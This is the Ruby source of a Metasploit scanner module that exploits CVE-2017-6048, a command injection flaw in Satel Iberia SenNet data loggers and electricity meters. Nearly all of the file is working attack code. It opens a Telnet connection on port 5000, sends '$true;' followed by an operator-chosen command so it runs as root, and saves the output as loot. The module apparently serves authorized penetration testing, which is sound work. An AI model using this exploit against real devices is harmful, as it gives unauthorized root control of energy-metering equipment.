72 lines
2.3 KiB
Ruby
72 lines
2.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::Telnet
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability',
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'Description' => %q{
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This module exploits an OS Command Injection vulnerability in Satel Iberia SenNet Data Loggers & Electricity Meters
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to perform arbitrary command execution as 'root'.
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},
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'References' =>
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[
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[ 'CVE', '2017-6048' ],
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[ 'URL', 'https://ipositivesecurity.com/2017/04/07/sennet-data-logger-appliances-and-electricity-meters-multiple-vulnerabilties/' ],
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[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-17-131-02' ]
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],
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'Author' =>
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[
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'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
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],
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'DisclosureDate' => '2017-04-07',
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'License' => MSF_LICENSE,
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'DefaultOptions' => { 'VERBOSE' => true })
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)
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register_options(
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[
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Opt::RPORT(5000),
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OptInt.new('TIMEOUT', [true, 'Timeout for the Telnet probe', 30]),
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OptString.new('CMD', [true, 'Command(s) to run', 'id'])
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], self.class
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)
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deregister_options('USERNAME', 'PASSWORD')
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end
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def run_host(ip)
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to = (datastore['TIMEOUT'].zero?) ? 30 : datastore['TIMEOUT']
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begin
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::Timeout.timeout(to) do
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command = datastore['CMD']
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inject = "$true; #{command}"
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res = connect
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print_status("Sending command now - #{command}")
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sock.puts(inject)
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data = sock.get_once(-1, to)
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print_good("#{data}")
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loot_name = 'cmd-exec-log'
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loot_type = 'text/plain'
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loot_desc = 'Satel SenNet CMD Exec Dump'
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p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)
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print_good("File saved in: #{p}")
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
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print_error("#{rhost}:#{rport} - Connection Failed...")
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return false
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ensure
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disconnect
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end
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end
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end
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